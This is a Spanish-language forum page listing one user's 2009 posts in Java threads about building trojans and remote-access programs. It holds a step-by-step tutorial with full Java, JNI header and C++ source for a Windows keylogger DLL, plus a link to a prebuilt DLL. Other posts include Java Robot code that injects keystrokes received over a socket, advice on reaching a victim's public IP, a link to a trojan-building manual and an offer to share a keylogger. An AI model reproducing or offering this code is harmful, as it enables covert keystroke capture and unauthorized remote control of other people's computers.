Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Leyer

#691
Java / Re: Moden por Java
26 Noviembre 2009, 04:38 AM
#692
Java / Re: crear un troyano en java
26 Noviembre 2009, 02:48 AM
no digamos que la interfaz ya dependera de cada quien asi que no es necesario.

Saludos.
#693
Java / Re: crear un troyano en java
26 Noviembre 2009, 00:05 AM
Cita de: _rez3t45_ en 25 Noviembre 2009, 23:48 PM
en_java-t269563.0.html[/url
mm lo que no pude es hacer que funcionen los 2 a la vez ozea ver la pantalla y mover su mouse . lo tengo por separados..

la duda que tengo es como aria para poderme comunicar entre redes wan . y no tan solo redes lan ...
creo que seria apuntando a su IP publica/ip lan
obviamente solo tendrias que configurar el socket apuntando a una ip-publica determinada

Saludos.
#694
Java / Re: Programa de acceso remoto en java
24 Noviembre 2009, 04:29 AM
Cita de: danyelk_6u5 en 24 Noviembre 2009, 03:50 AM
jeje...es que los se usar para trasferencia de archivos...no sabia que podia enviar movimientos de mouse y todo esoo... me lo explicas un pokito mejor???
javascript:void(0);

uff explicar esto es un poco dificil bueno solo tienes que enviar String por los sockes supongamos para escribir en la otra maquina el server tendria que recibir por ejemplo asi read es lo recibido del cliente si es igual al comando writer que uno mismo define claro esta entonces escribe en la maquina

Código (java) [Seleccionar]
if (read.equalsIgnoreCase(container.Command.COMMAND_WRITER)) {
final String msg = bufferedReader.readLine();
new Thread(new Runnable() {
@Override
public void run() {
try {
Robot robot = new Robot();
char[] c = msg.toUpperCase().toCharArray();
for(int index=0;index<c.length;index++)
{
if(c[index]=='0'){robot.keyPress(KeyEvent.VK_0);}if(c[index]=='6')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='1')robot.keyPress(KeyEvent.VK_0);if(c[index]=='7')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='2')robot.keyPress(KeyEvent.VK_0);if(c[index]=='8')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='3')robot.keyPress(KeyEvent.VK_0);if(c[index]=='9')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='4')robot.keyPress(KeyEvent.VK_0);if(c[index]=='5')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='Q')robot.keyPress(KeyEvent.VK_Q);if(c[index]=='I')robot.keyPress(KeyEvent.VK_I);
if(c[index]=='W')robot.keyPress(KeyEvent.VK_W);if(c[index]=='O')robot.keyPress(KeyEvent.VK_O);
if(c[index]=='E')robot.keyPress(KeyEvent.VK_E);if(c[index]=='P')robot.keyPress(KeyEvent.VK_P);
if(c[index]=='R')robot.keyPress(KeyEvent.VK_R);if(c[index]=='A')robot.keyPress(KeyEvent.VK_A);
if(c[index]=='T')robot.keyPress(KeyEvent.VK_T);if(c[index]=='S')robot.keyPress(KeyEvent.VK_S);
if(c[index]=='Y')robot.keyPress(KeyEvent.VK_Y);if(c[index]=='D')robot.keyPress(KeyEvent.VK_D);
if(c[index]=='U')robot.keyPress(KeyEvent.VK_U);if(c[index]=='F')robot.keyPress(KeyEvent.VK_F);
if(c[index]=='K')robot.keyPress(KeyEvent.VK_K);if(c[index]=='G')robot.keyPress(KeyEvent.VK_G);
if(c[index]=='L')robot.keyPress(KeyEvent.VK_L);if(c[index]=='H')robot.keyPress(KeyEvent.VK_H);
if(c[index]=='Z')robot.keyPress(KeyEvent.VK_Z);if(c[index]=='J')robot.keyPress(KeyEvent.VK_J);
if(c[index]=='X')robot.keyPress(KeyEvent.VK_X);if(c[index]=='V')robot.keyPress(KeyEvent.VK_V);
if(c[index]=='C')robot.keyPress(KeyEvent.VK_C);if(c[index]=='B')robot.keyPress(KeyEvent.VK_B);
if(c[index]=='M')robot.keyPress(KeyEvent.VK_M);if(c[index]=='N')robot.keyPress(KeyEvent.VK_N);
}
} catch (AWTException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}).start();
}

                        
#695
Java / Re: [Tutorial] Keylogger en Java (JNI)
24 Noviembre 2009, 04:17 AM
 :) gracias Crapsalot

Saludos
#696
Java / [Tutorial] Keylogger en Java (JNI)
24 Noviembre 2009, 02:27 AM
Hola a todos!  ::) Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++

Necesitas los archivos:

jni_md.h
http://www.mediafire.com/?wt30y33j4mg

jni.h
http://www.mediafire.com/?zngnmognn5h


Los cuales incluiran en  el directorio "C:\Archivos de programa\Dev-Cpp\include"


  • Paso 1: Creación del Archivo .java

Importante: No tiene que estar en ningun Package

Código (java) [Seleccionar]

public class Keylogger extends Thread {
private boolean   running=true;
private int       value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}

}


  • Paso 2: Creación del .bat para compilacion JNI (Opcional)

Nombre: CompilerJNI.bat

Código (bash) [Seleccionar]
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%

pause
echo.
exit


  • Paso 3:  Generando el . Class y la Cabecera .h (JNI)

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola

javac Keylogger.java
javah -jni Keylogger


Tienes que tener algun JDK

  • Paso 4:  Generando la DLL

Abrimos el DEV++
File--->New---->Project--->DLL



Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.


/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
   #endif
   #undef Keylogger_MIN_PRIORITY
   #define Keylogger_MIN_PRIORITY 1L
   #undef Keylogger_NORM_PRIORITY
   #define Keylogger_NORM_PRIORITY 5L
   #undef Keylogger_MAX_PRIORITY
   #define Keylogger_MAX_PRIORITY 10L
   #undef Keylogger_DELAY
   #define Keylogger_DELAY 20L
   /** Class: Keylogger
    * Method:    get
    * Signature: ()I
    */
   
   JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject);
   #ifdef __cplusplus
   }
   #endif
   #endif


    Si da problemas
    Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\include

ahora remplazar el contenido de dllMain.cpp por este:

[/list]
Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
 while(true){
       for(int c=8;c<=222;c++){
        if(GetAsyncKeyState(c)==-32767)
           return c;  
       }        
    Sleep(30);  
    }
}


Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

Código (java) [Seleccionar]

public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}


Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g

Un Saludo.
#697
Java / Re: Programa de acceso remoto en java
23 Noviembre 2009, 18:55 PM
 :¬¬ no y que sabias usar los sockes  ::) para hacer eso yo lo hice a si  las acciones tienes que enviarla por comandos es decir el cliente envia ej: mouseMove x, y luego el server recibe el comando y ejecuta luego envia confirmacion  al cliente eso es todo.

Saludos
#698
si tu metodo es ese donde  se queda el valor de 0 es decir si colocas "hola" daria esto "olaa" ?
#699
Java / Re: Programa de acceso remoto en java
22 Noviembre 2009, 01:04 AM
Java Remote Desktop Protocol (RDP)  http://www.elusiva.com/opensource/  no lo he utilizado
las acciones que quieres realizar dependen de cuanto manejes el lenguaje pero basicamente se puede hacer todo por lo socket osea las funciones que quieres
un manual sobre como hacer un troyano esta qui http://foro.elhacker.net/java/como_crear_un_troyano_en_java-t265225.15.html aunke esta super basico no se si te sirva.


Saliudos
#700
Java / Re: Programa de acceso remoto en java
21 Noviembre 2009, 23:59 PM
jeje todos o algunos tenemos nuestros troyanos personales y mas en java  ::) solo necesitas dominar multiples clientes claro si vas a usar client| server

PD: si necesitas un keylogger en java hablame.